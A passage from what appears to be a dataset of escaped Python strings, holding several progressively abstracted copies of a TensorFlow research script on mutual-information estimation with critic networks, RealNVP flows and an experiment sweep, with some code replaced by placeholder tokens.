tf.reduce_mean(input_tensor=tf.linalg.diag_part(scores))\n scores_sq = scores ** 2\n marg_num = batch_size * (batch_size - 1.0)\n marg_term = tf.reduce_sum(input_tensor=scores_sq) - tf.reduce_sum(\n input_tensor=tf.linalg.diag_part(scores_sq))\n marg_term = marg_term / marg_num\n return joint_term - 0.5 * marg_term\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef logistic_fit(x_train, y_train, x_test, y_test):\n logistic_regressor = sk_linear.LogisticRegression(solver='saga',\n multi_class='multinomial', tol=0.1, C=10.0)\n from sklearn.preprocessing import MinMaxScaler\n scaler = MinMaxScaler()\n x_train = scaler.fit_transform(x_train)\n x_test = scaler.transform(x_test)\n logistic_regressor.fit(x_train, y_train.ravel())\n return logistic_regressor.score(x_test, y_test.ravel())\n\n\n<code token>\n\n\ndef map_fn(example):\n image = example[FEATURE_INPUT]\n image = tf.cast(image, tf.float32) / 255.0\n image = tf.reshape(image, [-1])\n label = example[FEATURE_LABEL]\n return {FEATURE_INPUT: image, FEATURE_LABEL: label}\n\n\n<function token>\n<function token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<function token>\n\n\nclass MLP(tf.keras.Model):\n\n def __init__(self, layer_dimensions, shortcuts, dense_kwargs={}):\n super(MLP, self).__init__()\n self._layers = [tfkl.Dense(dimensions, **dense_kwargs) for\n dimensions in layer_dimensions[:-1]]\n dense_kwargs_copy = copy.deepcopy(dense_kwargs)\n dense_kwargs_copy['activation'] = None\n self._layers.append(tfkl.Dense(layer_dimensions[-1], **\n dense_kwargs_copy))\n self._shortcuts = shortcuts\n\n @property\n def layers(self):\n return self._layers\n\n def __call__(self, inputs):\n x = inputs\n for layer in self.layers:\n x = layer(x) + x if self._shortcuts else layer(x)\n return x\n\n\nclass LayerNorm(tfkl.Layer):\n \"\"\" Layer Normalization in the style of https://arxiv.org/abs/1607.06450 \"\"\"\n\n def __init__(self, scale_initializer='ones', bias_initializer='zeros',\n axes=[1, 2, 3], epsilon=1e-06, **kwargs):\n super(LayerNorm, self).__init__(**kwargs)\n self.epsilon = epsilon\n self.scale_initializer = tf.keras.initializers.get(scale_initializer)\n self.bias_initializer = tf.keras.initializers.get(bias_initializer)\n self.axes = axes\n\n def build(self, input_shape):\n self.scale = self.add_weight(shape=(input_shape[-1],), initializer=\n self.scale_initializer, trainable=True, name='{}_scale'.format(\n self.name))\n self.bias = self.add_weight(shape=(input_shape[-1],), initializer=\n self.bias_initializer, trainable=True, name='{}_bias'.format(\n self.name))\n self.built = True\n\n def call(self, x, mask=None):\n mean = tf.keras.backend.mean(x, axis=self.axes, keepdims=True)\n std = tf.keras.backend.std(x, axis=self.axes, keepdims=True)\n norm = (x - mean) * (1 / (std + self.epsilon))\n return norm * self.scale + self.bias\n\n def compute_output_shape(self, input_shape):\n return input_shape\n\n\nclass ConvNet(tf.keras.Sequential):\n\n def __init__(self, channels=64, kernel_size=5, input_dim=DIMS // 2,\n output_dim=100, activation=tf.nn.relu):\n super(ConvNet, self).__init__([tfkl.Reshape((14, 28, 1),\n input_shape=(input_dim,)), tfkl.Conv2D(channels, kernel_size,\n strides=2, padding='same', activation=activation), tfkl.Conv2D(\n 2 * channels, kernel_size, strides=2, padding='same',\n activation=activation), LayerNorm(), tfkl.\n GlobalAveragePooling2D(), tfkl.Dense(output_dim)])\n\n\n<import token>\n\n\nclass RealNVP(bijector_lib.Bijector):\n\n def __init__(self, num_masked, shift_and_log_scale_fn=None, bijector_fn\n =None, is_constant_jacobian=False, validate_args=False, name=None):\n name = name or 'real_nvp'\n if num_masked < 0:\n raise ValueError('num_masked must be a non-negative integer.')\n self._num_masked = num_masked\n self._input_depth = None\n if bool(shift_and_log_scale_fn) == bool(bijector_fn):\n raise ValueError(\n 'Exactly one of `shift_and_log_scale_fn` and `bijector_fn` should be specified.'\n )\n if shift_and_log_scale_fn:\n\n def _bijector_fn(x0, input_depth, **condition_kwargs):\n shift, log_scale = shift_and_log_scale_fn(x0, input_depth,\n **condition_kwargs)\n return affine_scalar.AffineScalar(shift=shift, scale=log_scale)\n bijector_fn = _bijector_fn\n if validate_args:\n bijector_fn = _validate_bijector_fn(bijector_fn)\n self._shift_and_log_scale_fn = shift_and_log_scale_fn\n self._bijector_fn = bijector_fn\n super(RealNVP, self).__init__(forward_min_event_ndims=1,\n is_constant_jacobian=is_constant_jacobian, validate_args=\n validate_args, name=name)\n\n def _cache_input_depth(self, x):\n if self._input_depth is None:\n self._input_depth = tf.compat.dimension_value(tensorshape_util.\n with_rank_at_least(x.shape, 1)[-1])\n if self._input_depth is None:\n raise NotImplementedError(\n 'Rightmost dimension must be known prior to graph execution.'\n )\n if self._num_masked >= self._input_depth:\n raise ValueError(\n 'Number of masked units must be smaller than the event size.'\n )\n\n def _forward(self, x, **condition_kwargs):\n self._cache_input_depth(x)\n x0, x1 = x[..., :self._num_masked], x[..., self._num_masked:]\n y1 = self._bijector_fn(x0, self._input_depth - self._num_masked, **\n condition_kwargs).forward(x1)\n y = tf.concat([x0, y1], axis=-1)\n return y\n\n def _inverse(self, y, **condition_kwargs):\n self._cache_input_depth(y)\n y0, y1 = y[..., :self._num_masked], y[..., self._num_masked:]\n x1 = self._bijector_fn(y0, self._input_depth - self._num_masked, **\n condition_kwargs).inverse(y1)\n x = tf.concat([y0, x1], axis=-1)\n return x\n\n def _forward_log_det_jacobian(self, x, **condition_kwargs):\n self._cache_input_depth(x)\n x0, x1 = x[..., :self._num_masked], x[..., self._num_masked:]\n return self._bijector_fn(x0, self._input_depth - self._num_masked,\n **condition_kwargs).forward_log_det_jacobian(x1, event_ndims=1)\n\n def _inverse_log_det_jacobian(self, y, **condition_kwargs):\n self._cache_input_depth(y)\n y0, y1 = y[..., :self._num_masked], y[..., self._num_masked:]\n return self._bijector_fn(y0, self._input_depth - self._num_masked,\n **condition_kwargs).inverse_log_det_jacobian(y1, event_ndims=1)\n\n\n<function token>\n\n\nclass RealNVPBijector(tf.keras.Model):\n\n def __init__(self, dimensions, n_couplings, hidden_layers, dense_kwargs):\n super(RealNVPBijector, self).__init__()\n permutations = [np.random.permutation(dimensions) for _ in range(\n n_couplings)]\n bijectors = []\n for permutation in permutations:\n bijectors.append(RealNVP(dimensions // 2,\n real_nvp_default_template(hidden_layers, **dense_kwargs)))\n bijectors.append(tfb.Permute(permutation))\n self._bijector = tfb.Chain(bijectors)\n\n def call(self, inputs):\n return self._bijector.forward(inputs)\n\n\nclass InnerProdCritic(tf.keras.Model):\n\n def call(self, x, y):\n return tf.matmul(x, y, transpose_b=True)\n\n\nclass BilinearCritic(tf.keras.Model):\n\n def __init__(self, feature_dim=100, **kwargs):\n super(BilinearCritic, self).__init__(**kwargs)\n self._W = tfkl.Dense(feature_dim, use_bias=False)\n\n def call(self, x, y):\n return tf.matmul(x, self._W(y), transpose_b=True)\n\n\nclass ConcatCritic(tf.keras.Model):\n\n def __init__(self, hidden_dim=200, layers=1, activation='relu', **kwargs):\n super(ConcatCritic, self).__init__(**kwargs)\n self._f = MLP([hidden_dim for _ in range(layers)] + [1], False, {\n 'activation': 'relu'})\n\n def call(self, x, y):\n batch_size = tf.shape(input=x)[0]\n x_tiled = tf.tile(x[None, :], (batch_size, 1, 1))\n y_tiled = tf.tile(y[:, None], (1, batch_size, 1))\n xy_pairs = tf.reshape(tf.concat((x_tiled, y_tiled), axis=2), [\n batch_size * batch_size, -1])\n scores = self._f(xy_pairs)\n return tf.transpose(a=tf.reshape(scores, [batch_size, batch_size]))\n\n\nclass SeparableCritic(tf.keras.Model):\n\n def __init__(self, hidden_dim=100, output_dim=100, layers=1, activation\n ='relu', **kwargs):\n super(SeparableCritic, self).__init__(**kwargs)\n self._f_x = MLP([hidden_dim for _ in range(layers)] + [output_dim],\n False, {'activation': activation})\n self._f_y = MLP([hidden_dim for _ in range(layers)] + [output_dim],\n False, {'activation': activation})\n\n def call(self, x, y):\n x_mapped = self._f_x(x)\n y_mapped = self._f_y(y)\n return tf.matmul(x_mapped, y_mapped, transpose_b=True)\n\n\n<function token>\n\n\ndef run_sweep(nets, critics, loss_fns, exp_name, **kwargs):\n \"\"\"Runs the sweep across encoder networks, critics, and the estimators.\"\"\"\n grid = itertools.product(nets, critics, loss_fns)\n data_frames = []\n results_with_singular_values = []\n for nets_name, critic_name, loss_name in grid:\n print('[New experiment] encoder: {}, critic: {}, loss: {}'.format(\n nets_name, critic_name, loss_name))\n with tf.Graph().as_default():\n g1, g2 = nets[nets_name]()\n critic = critics[critic_name]()\n loss_fn = loss_fns[loss_name]\n results_per_run = []\n for n in range(NRUNS):\n try:\n print('{:d}th run, loss: {}'.format(n, loss_name))\n if loss_name == 'drfc' and TFDS_NAME == 'cifar10':\n results = train(g1, g2, critic, loss_fn, **kwargs,\n learning_rate=LEARNING_RATE, n_iter=n,\n loss_name=loss_name)\n else:\n results = train(g1, g2, critic, loss_fn, **kwargs,\n learning_rate=LEARNING_RATE, n_iter=n,\n loss_name=loss_name)\n results_per_run.append(results)\n except Exception as ex:\n print('Run {} failed! Error: {}'.format(n, ex))\n for i, result in enumerate(results_per_run):\n data_frames.append(convert_to_data_frame(result, exp_name,\n nets_name, critic_name, loss_name, i))\n if kwargs.get('compute_jacobian', False):\n results_with_singular_values.append((ResultsConfig(\n nets_name, critic_name, loss_name), results_per_run))\n return {'df': pd.concat(data_frames), 'singular_values':\n results_with_singular_values}\n\n\n<function token>\n<code token>\n", "<import token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<function token>\n\n\ndef convert_to_data_frame(result, exp_name, nets, critic, loss, seed):\n \"\"\"Convert results class to a data frame.\"\"\"\n label = '{}, {}, {}'.format(nets, critic, loss)\n rows = list(zip(itertools.repeat(exp_name), itertools.repeat(nets),\n itertools.repeat(critic), itertools.repeat(loss), itertools.repeat(\n seed), result.iterations, [(-loss) for loss in result.\n testing_losses], result.classification_accuracies, itertools.repeat\n (label)))\n df_eval = pd.DataFrame(rows, columns=('exp_name', 'nets', 'Critic',\n 'Estimator', 'run', 'iteration', 'bound_value', 'accuracy', 'label'))\n df_eval['Estimator'] = df_eval['Estimator'].replace(to_replace={'cpc':\n '$CPC$', 'pcc': '$PCC$', 'drfc': '$D-RFC$', 'wpc': '$WPC$'})\n df_eval['Critic'] = df_eval['Critic'].replace(to_replace={'concat':\n 'MLP', 'separable': 'Separable', 'innerprod': 'Inner product',\n 'bilinear': 'Bilinear'})\n return df_eval\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\[email protected]\ndef js_fgan_lower_bound(f):\n \"\"\"Lower bound on Jensen-Shannon divergence from Nowozin et al. (2016).\"\"\"\n f_diag = tf.linalg.tensor_diag_part(f)\n first_term = tf.reduce_mean(-tf.nn.softplus(-f_diag))\n n = tf.cast(f.shape[0], tf.float32)\n second_term = (tf.reduce_sum(tf.nn.softplus(f)) - tf.reduce_sum(tf.nn.\n softplus(f_diag))) / (n * (n - 1.0))\n return first_term - second_term\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef logistic_fit(x_train, y_train, x_test, y_test):\n logistic_regressor = sk_linear.LogisticRegression(solver='saga',\n multi_class='multinomial', tol=0.1, C=10.0)\n from sklearn.preprocessing import MinMaxScaler\n scaler = MinMaxScaler()\n x_train = scaler.fit_transform(x_train)\n x_test = scaler.transform(x_test)\n logistic_regressor.fit(x_train, y_train.ravel())\n return logistic_regressor.score(x_test, y_test.ravel())\n\n\n<code token>\n\n\ndef map_fn(example):\n image = example[FEATURE_INPUT]\n image = tf.cast(image, tf.float32) / 255.0\n image = tf.reshape(image, [-1])\n label = example[FEATURE_LABEL]\n return {FEATURE_INPUT: image, FEATURE_LABEL: label}\n\n\n<function token>\n<function token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<function token>\n\n\nclass MLP(tf.keras.Model):\n\n def __init__(self, layer_dimensions, shortcuts, dense_kwargs={}):\n super(MLP, self).__init__()\n self._layers = [tfkl.Dense(dimensions, **dense_kwargs) for\n dimensions in layer_dimensions[:-1]]\n dense_kwargs_copy = copy.deepcopy(dense_kwargs)\n dense_kwargs_copy['activation'] = None\n self._layers.append(tfkl.Dense(layer_dimensions[-1], **\n dense_kwargs_copy))\n self._shortcuts = shortcuts\n\n @property\n def layers(self):\n return self._layers\n\n def __call__(self, inputs):\n x = inputs\n for layer in self.layers:\n x = layer(x) + x if self._shortcuts else layer(x)\n return x\n\n\nclass LayerNorm(tfkl.Layer):\n \"\"\" Layer Normalization in the style of https://arxiv.org/abs/1607.06450 \"\"\"\n\n def __init__(self, scale_initializer='ones', bias_initializer='zeros',\n axes=[1, 2, 3], epsilon=1e-06, **kwargs):\n super(LayerNorm, self).__init__(**kwargs)\n self.epsilon = epsilon\n self.scale_initializer = tf.keras.initializers.get(scale_initializer)\n self.bias_initializer = tf.keras.initializers.get(bias_initializer)\n self.axes = axes\n\n def build(self, input_shape):\n self.scale = self.add_weight(shape=(input_shape[-1],), initializer=\n self.scale_initializer, trainable=True, name='{}_scale'.format(\n self.name))\n self.bias = self.add_weight(shape=(input_shape[-1],), initializer=\n self.bias_initializer, trainable=True, name='{}_bias'.format(\n self.name))\n self.built = True\n\n def call(self, x, mask=None):\n mean = tf.keras.backend.mean(x, axis=self.axes, keepdims=True)\n std = tf.keras.backend.std(x, axis=self.axes, keepdims=True)\n norm = (x - mean) * (1 / (std + self.epsilon))\n return norm * self.scale + self.bias\n\n def compute_output_shape(self, input_shape):\n return input_shape\n\n\nclass ConvNet(tf.keras.Sequential):\n\n def __init__(self, channels=64, kernel_size=5, input_dim=DIMS // 2,\n output_dim=100, activation=tf.nn.relu):\n super(ConvNet, self).__init__([tfkl.Reshape((14, 28, 1),\n input_shape=(input_dim,)), tfkl.Conv2D(channels, kernel_size,\n strides=2, padding='same', activation=activation), tfkl.Conv2D(\n 2 * channels, kernel_size, strides=2, padding='same',\n activation=activation), LayerNorm(), tfkl.\n GlobalAveragePooling2D(), tfkl.Dense(output_dim)])\n\n\n<import token>\n\n\nclass RealNVP(bijector_lib.Bijector):\n\n def __init__(self, num_masked, shift_and_log_scale_fn=None, bijector_fn\n =None, is_constant_jacobian=False, validate_args=False, name=None):\n name = name or 'real_nvp'\n if num_masked < 0:\n raise ValueError('num_masked must be a non-negative integer.')\n self._num_masked = num_masked\n self._input_depth = None\n if bool(shift_and_log_scale_fn) == bool(bijector_fn):\n raise ValueError(\n 'Exactly one of `shift_and_log_scale_fn` and `bijector_fn` should be specified.'\n )\n if shift_and_log_scale_fn:\n\n def _bijector_fn(x0, input_depth, **condition_kwargs):\n shift, log_scale = shift_and_log_scale_fn(x0, input_depth,\n **condition_kwargs)\n return affine_scalar.AffineScalar(shift=shift, scale=log_scale)\n bijector_fn = _bijector_fn\n if validate_args:\n bijector_fn = _validate_bijector_fn(bijector_fn)\n self._shift_and_log_scale_fn = shift_and_log_scale_fn\n self._bijector_fn = bijector_fn\n super(RealNVP, self).__init__(forward_min_event_ndims=1,\n is_constant_jacobian=is_constant_jacobian, validate_args=\n validate_args, name=name)\n\n def _cache_input_depth(self, x):\n if self._input_depth is None:\n self._input_depth = tf.compat.dimension_value(tensorshape_util.\n with_rank_at_least(x.shape, 1)[-1])\n if self._input_depth is None:\n raise NotImplementedError(\n 'Rightmost dimension must be known prior to graph execution.'\n )\n if self._num_masked >= self._input_depth:\n raise ValueError(\n 'Number of masked units must be smaller than the event size.'\n )\n\n def _forward(self, x, **condition_kwargs):\n self._cache_input_depth(x)\n x0, x1 = x[..., :self._num_masked], x[..., self._num_masked:]\n y1 = self._bijector_fn(x0, self._input_depth - self._num_masked, **\n condition_kwargs).forward(x1)\n y = tf.concat([x0, y1], axis=-1)\n return y\n\n def _inverse(self, y, **condition_kwargs):\n self._cache_input_depth(y)\n y0, y1 = y[..., :self._num_masked], y[..., self._num_masked:]\n x1 = self._bijector_fn(y0, self._input_depth - self._num_masked, **\n condition_kwargs).inverse(y1)\n x = tf.concat([y0, x1], axis=-1)\n return x\n\n def _forward_log_det_jacobian(self, x, **condition_kwargs):\n self._cache_input_depth(x)\n x0, x1 = x[..., :self._num_masked], x[..., self._num_masked:]\n return self._bijector_fn(x0, self._input_depth - self._num_masked,\n **condition_kwargs).forward_log_det_jacobian(x1, event_ndims=1)\n\n def _inverse_log_det_jacobian(self, y, **condition_kwargs):\n self._cache_input_depth(y)\n y0, y1 = y[..., :self._num_masked], y[..., self._num_masked:]\n return self._bijector_fn(y0, self._input_depth - self._num_masked,\n **condition_kwargs).inverse_log_det_jacobian(y1, event_ndims=1)\n\n\n<function token>\n\n\nclass RealNVPBijector(tf.keras.Model):\n\n def __init__(self, dimensions, n_couplings, hidden_layers, dense_kwargs):\n super(RealNVPBijector, self).__init__()\n permutations = [np.random.permutation(dimensions) for _ in range(\n n_couplings)]\n bijectors = []\n for permutation in permutations:\n bijectors.append(RealNVP(dimensions // 2,\n real_nvp_default_template(hidden_layers, **dense_kwargs)))\n bijectors.append(tfb.Permute(permutation))\n self._bijector = tfb.Chain(bijectors)\n\n def call(self, inputs):\n return self._bijector.forward(inputs)\n\n\nclass InnerProdCritic(tf.keras.Model):\n\n def call(self, x, y):\n return tf.matmul(x, y, transpose_b=True)\n\n\nclass BilinearCritic(tf.keras.Model):\n\n def __init__(self, feature_dim=100, **kwargs):\n super(BilinearCritic, self).__init__(**kwargs)\n self._W = tfkl.Dense(feature_dim, use_bias=False)\n\n def call(self, x, y):\n return tf.matmul(x, self._W(y), transpose_b=True)\n\n\nclass ConcatCritic(tf.keras.Model):\n\n def __init__(self, hidden_dim=200, layers=1, activation='relu', **kwargs):\n super(ConcatCritic, self).__init__(**kwargs)\n self._f = MLP([hidden_dim for _ in range(layers)] + [1], False, {\n 'activation': 'relu'})\n\n def call(self, x, y):\n batch_size = tf.shape(input=x)[0]\n x_tiled = tf.tile(x[None, :], (batch_size, 1, 1))\n y_tiled = tf.tile(y[:, None], (1, batch_size, 1))\n xy_pairs = tf.reshape(tf.concat((x_tiled, y_tiled), axis=2), [\n batch_size * batch_size, -1])\n scores = self._f(xy_pairs)\n return tf.transpose(a=tf.reshape(scores, [batch_size, batch_size]))\n\n\nclass SeparableCritic(tf.keras.Model):\n\n def __init__(self, hidden_dim=100, output_dim=100, layers=1, activation\n ='relu', **kwargs):\n super(SeparableCritic, self).__init__(**kwargs)\n self._f_x = MLP([hidden_dim for _ in range(layers)] + [output_dim],\n False, {'activation': activation})\n self._f_y = MLP([hidden_dim for _ in range(layers)] + [output_dim],\n False, {'activation': activation})\n\n def call(self, x, y):\n x_mapped = self._f_x(x)\n y_mapped = self._f_y(y)\n return tf.matmul(x_mapped, y_mapped, transpose_b=True)\n\n\n<function token>\n\n\ndef run_sweep(nets, critics, loss_fns, exp_name, **kwargs):\n \"\"\"Runs the sweep across encoder networks, critics, and the estimators.\"\"\"\n grid = itertools.product(nets, critics, loss_fns)\n data_frames = []\n results_with_singular_values = []\n for nets_name, critic_name, loss_name in grid:\n print('[New experiment] encoder: {}, critic: {}, loss: {}'.format(\n nets_name, critic_name, loss_name))\n with tf.Graph().as_default():\n g1, g2 = nets[nets_name]()\n critic = critics[critic_name]()\n loss_fn = loss_fns[loss_name]\n results_per_run = []\n for n in range(NRUNS):\n try:\n print('{:d}th run, loss: {}'.format(n, loss_name))\n if loss_name == 'drfc' and TFDS_NAME == 'cifar10':\n results = train(g1, g2, critic, loss_fn, **kwargs,\n learning_rate=LEARNING_RATE, n_iter=n,\n loss_name=loss_name)\n else:\n results = train(g1, g2, critic, loss_fn, **kwargs,\n learning_rate=LEARNING_RATE, n_iter=n,\n loss_name=loss_name)\n results_per_run.append(results)\n except Exception as ex:\n print('Run {} failed! Error: {}'.format(n, ex))\n for i, result in enumerate(results_per_run):\n data_frames.append(convert_to_data_frame(result, exp_name,\n nets_name, critic_name, loss_name, i))\n if kwargs.get('compute_jacobian', False):\n results_with_singular_values.append((ResultsConfig(\n nets_name, critic_name, loss_name), results_per_run))\n return {'df': pd.concat(data_frames), 'singular_values':\n results_with_singular_values}\n\n\n<function token>\n<code token>\n", "<import token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<function token>\n\n\ndef convert_to_data_frame(result, exp_name, nets, critic, loss, seed):\n \"\"\"Convert results class to a data frame.\"\"\"\n label = '{}, {}, {}'.format(nets, critic, loss)\n rows = list(zip(itertools.repeat(exp_name), itertools.repeat(nets),\n itertools.repeat(critic), itertools.repeat(loss), itertools.repeat(\n seed), result.iterations, [(-loss) for loss in result.\n testing_losses], result.classification_accuracies, itertools.repeat\n (label)))\n df_eval = pd.DataFrame(rows, columns=('exp_name', 'nets', 'Critic',\n 'Estimator', 'run', 'iteration', 'bound_value', 'accuracy', 'label'))\n df_eval['Estimator'] = df_eval['Estimator'].replace(to_replace={'cpc':\n '$CPC$', 'pcc': '$PCC$', 'drfc': '$D-RFC$', 'wpc': '$WPC$'})\n df_eval['Critic'] = df_eval['Critic'].replace(to_replace={'concat':\n 'MLP', 'separable': 'Separable', 'innerprod': 'Inner product',\n 'bilinear': 'Bilinear'})\n return df_eval\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef logistic_fit(x_train, y_train, x_test, y_test):\n logistic_regressor = sk_linear.LogisticRegression(solver='saga',\n multi_class='multinomial', tol=0.1, C=10.0)\n from sklearn.preprocessing import MinMaxScaler\n scaler = MinMaxScaler()\n x_train = scaler.fit_transform(x_train)\n x_test = scaler.transform(x_test)\n logistic_regressor.fit(x_train, y_train.ravel())\n return logistic_regressor.score(x_test, y_test.ravel())\n\n\n<code token>\n\n\ndef map_fn(example):\n image = example[FEATURE_INPUT]\n image = tf.cast(image, tf.float32) / 255.0\n image = tf.reshape(image, [-1])\n label = example[FEATURE_LABEL]\n return {FEATURE_INPUT: image, FEATURE_LABEL: label}\n\n\n<function token>\n<function token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<function token>\n\n\nclass MLP(tf.keras.Model):\n\n def __init__(self, layer_dimensions, shortcuts, dense_kwargs={}):\n super(MLP, self).__init__()\n self._layers = [tfkl.Dense(dimensions, **dense_kwargs) for\n dimensions in layer_dimensions[:-1]]\n dense_kwargs_copy = copy.deepcopy(dense_kwargs)\n dense_kwargs_copy['activation'] = None\n self._layers.append(tfkl.Dense(layer_dimensions[-1], **\n dense_kwargs_copy))\n self._shortcuts = shortcuts\n\n @property\n def layers(self):\n return self._layers\n\n def __call__(self, inputs):\n x = inputs\n for layer in self.layers:\n x = layer(x) + x if self._shortcuts else layer(x)\n return x\n\n\nclass LayerNorm(tfkl.Layer):\n \"\"\" Layer Normalization in the style of https://arxiv.org/abs/1607.06450 \"\"\"\n\n def __init__(self, scale_initializer='ones', bias_initializer='zeros',\n axes=[1, 2, 3], epsilon=1e-06, **kwargs):\n super(LayerNorm, self).__init__(**kwargs)\n self.epsilon = epsilon\n self.scale_initializer = tf.keras.initializers.get(scale_initializer)\n self.bias_initializer = tf.keras.initializers.get(bias_initializer)\n self.axes = axes\n\n def build(self, input_shape):\n self.scale = self.add_weight(shape=(input_shape[-1],), initializer=\n self.scale_initializer, trainable=True, name='{}_scale'.format(\n self.name))\n self.bias = self.add_weight(shape=(input_shape[-1],), initializer=\n self.bias_initializer, trainable=True, name='{}_bias'.format(\n self.name))\n self.built = True\n\n def call(self, x, mask=None):\n mean = tf.keras.backend.mean(x, axis=self.axes, keepdims=True)\n std = tf.keras.backend.std(x, axis=self.axes, keepdims=True)\n norm = (x - mean) * (1 / (std + self.epsilon))\n return norm * self.scale + self.bias\n\n def compute_output_shape(self, input_shape):\n return input_shape\n\n\nclass ConvNet(tf.keras.Sequential):\n\n def __init__(self, channels=64, kernel_size=5, input_dim=DIMS // 2,\n output_dim=100, activation=tf.nn.relu):\n super(ConvNet, self).__init__([tfkl.Reshape((14, 28, 1),\n input_shape=(input_dim,)), tfkl.Conv2D(channels, kernel_size,\n strides=2, padding='same', activation=activation), tfkl.Conv2D(\n 2 * channels, kernel_size, strides=2, padding='same',\n activation=activation), LayerNorm(), tfkl.\n GlobalAveragePooling2D(), tfkl.Dense(output_dim)])\n\n\n<import token>\n\n\nclass RealNVP(bijector_lib.Bijector):\n\n def __init__(self, num_masked, shift_and_log_scale_fn=None, bijector_fn\n =None, is_constant_jacobian=False, validate_args=False, name=None):\n name = name or 'real_nvp'\n if num_masked < 0:\n raise ValueError('num_masked must be a non-negative integer.')\n self._num_masked = num_masked\n self._input_depth = None\n if bool(shift_and_log_scale_fn) == bool(bijector_fn):\n raise ValueError(\n 'Exactly one of `shift_and_log_scale_fn` and `bijector_fn` should be specified.'\n )\n if shift_and_log_scale_fn:\n\n def _bijector_fn(x0, input_depth, **condition_kwargs):\n shift, log_scale = shift_and_log_scale_fn(x0, input_depth,\n **condition_kwargs)\n return affine_scalar.AffineScalar(shift=shift, scale=log_scale)\n bijector_fn = _bijector_fn\n if validate_args:\n bijector_fn = _validate_bijector_fn(bijector_fn)\n self._shift_and_log_scale_fn = shift_and_log_scale_fn\n self._bijector_fn = bijector_fn\n super(RealNVP, self).__init__(forward_min_event_ndims=1,\n is_constant_jacobian=is_constant_jacobian, validate_args=\n validate_args, name=name)\n\n def _cache_input_depth(self, x):\n if self._input_depth is None:\n self._input_depth = tf.compat.dimension_value(tensorshape_util.\n with_rank_at_least(x.shape, 1)[-1])\n if self._input_depth is None:\n raise NotImplementedError(\n 'Rightmost dimension must be known prior to graph execution.'\n )\n if self._num_masked >= self._input_depth:\n raise ValueError(\n 'Number of masked units must be smaller than the event size.'\n )\n\n def _forward(self, x, **condition_kwargs):\n self._cache_input_depth(x)\n x0, x1 = x[..., :self._num_masked], x[..., self._num_masked:]\n y1 = self._bijector_fn(x0, self._input_depth - self._num_masked, **\n condition_kwargs).forward(x1)\n y = tf.concat([x0, y1], axis=-1)\n return y\n\n def _inverse(self, y, **condition_kwargs):\n self._cache_input_depth(y)\n y0, y1 = y[..., :self._num_masked], y[..., self._num_masked:]\n x1 = self._bijector_fn(y0, self._input_depth - self._num_masked, **\n condition_kwargs).inverse(y1)\n x = tf.concat([y0, x1], axis=-1)\n return x\n\n def _forward_log_det_jacobian(self, x, **condition_kwargs):\n self._cache_input_depth(x)\n x0, x1 = x[..., :self._num_masked], x[..., self._num_masked:]\n return self._bijector_fn(x0, self._input_depth - self._num_masked,\n **condition_kwargs).forward_log_det_jacobian(x1, event_ndims=1)\n\n def _inverse_log_det_jacobian(self, y, **condition_kwargs):\n self._cache_input_depth(y)\n y0, y1 = y[..., :self._num_masked], y[..., self._num_masked:]\n return self._bijector_fn(y0, self._input_depth - self._num_masked,\n **condition_kwargs).inverse_log_det_jacobian(y1, event_ndims=1)\n\n\n<function token>\n\n\nclass RealNVPBijector(tf.keras.Model):\n\n def __init__(self, dimensions, n_couplings, hidden_layers, dense_kwargs):\n super(RealNVPBijector, self).__init__()\n permutations = [np.random.permutation(dimensions) for _ in range(\n n_couplings)]\n bijectors = []\n for permutation in permutations:\n bijectors.append(RealNVP(dimensions // 2,\n real_nvp_default_template(hidden_layers, **dense_kwargs)))\n bijectors.append(tfb.Permute(permutation))\n self._bijector = tfb.Chain(bijectors)\n\n def call(self, inputs):\n return self._bijector.forward(inputs)\n\n\nclass InnerProdCritic(tf.keras.Model):\n\n def call(self, x, y):\n return tf.matmul(x, y, transpose_b=True)\n\n\nclass BilinearCritic(tf.keras.Model):\n\n def __init__(self, feature_dim=100, **kwargs):\n super(BilinearCritic, self).__init__(**kwargs)\n self._W = tfkl.Dense(feature_dim, use_bias=False)\n\n def call(self, x, y):\n return tf.matmul(x, self._W(y), transpose_b=True)\n\n\nclass ConcatCritic(tf.keras.Model):\n\n def __init__(self, hidden_dim=200, layers=1, activation='relu', **kwargs):\n super(ConcatCritic, self).__init__(**kwargs)\n self._f = MLP([hidden_dim for _ in range(layers)] + [1], False, {\n 'activation': 'relu'})\n\n def call(self, x, y):\n batch_size = tf.shape(input=x)[0]\n x_tiled = tf.tile(x[None, :], (batch_size, 1, 1))\n y_tiled = tf.tile(y[:, None], (1, batch_size, 1))\n xy_pairs = tf.reshape(tf.concat((x_tiled, y_tiled), axis=2), [\n batch_size * batch_size, -1])\n scores = self._f(xy_pairs)\n return tf.transpose(a=tf.reshape(scores, [batch_size, batch_size]))\n\n\nclass SeparableCritic(tf.keras.Model):\n\n def __init__(self, hidden_dim=100, output_dim=100, layers=1, activation\n ='relu', **kwargs):\n super(SeparableCritic, self).__init__(**kwargs)\n self._f_x = MLP([hidden_dim for _ in range(layers)] + [output_dim],\n False, {'activation': activation})\n self._f_y = MLP([hidden_dim for _ in range(layers)] + [output_dim],\n False, {'activation': activation})\n\n def call(self, x, y):\n x_mapped = self._f_x(x)\n y_mapped = self._f_y(y)\n return tf.matmul(x_mapped, y_mapped, transpose_b=True)\n\n\n<function token>\n\n\ndef run_sweep(nets, critics, loss_fns, exp_name, **kwargs):\n \"\"\"Runs the sweep across encoder networks, critics, and the estimators.\"\"\"\n grid = itertools.product(nets, critics, loss_fns)\n data_frames = []\n results_with_singular_values = []\n for nets_name, critic_name, loss_name in grid:\n print('[New experiment] encoder: {}, critic: {}, loss: {}'.format(\n nets_name, critic_name, loss_name))\n with tf.Graph().as_default():\n g1, g2 = nets[nets_name]()\n critic = critics[critic_name]()\n loss_fn = loss_fns[loss_name]\n results_per_run = []\n for n in range(NRUNS):\n try:\n print('{:d}th run, loss: 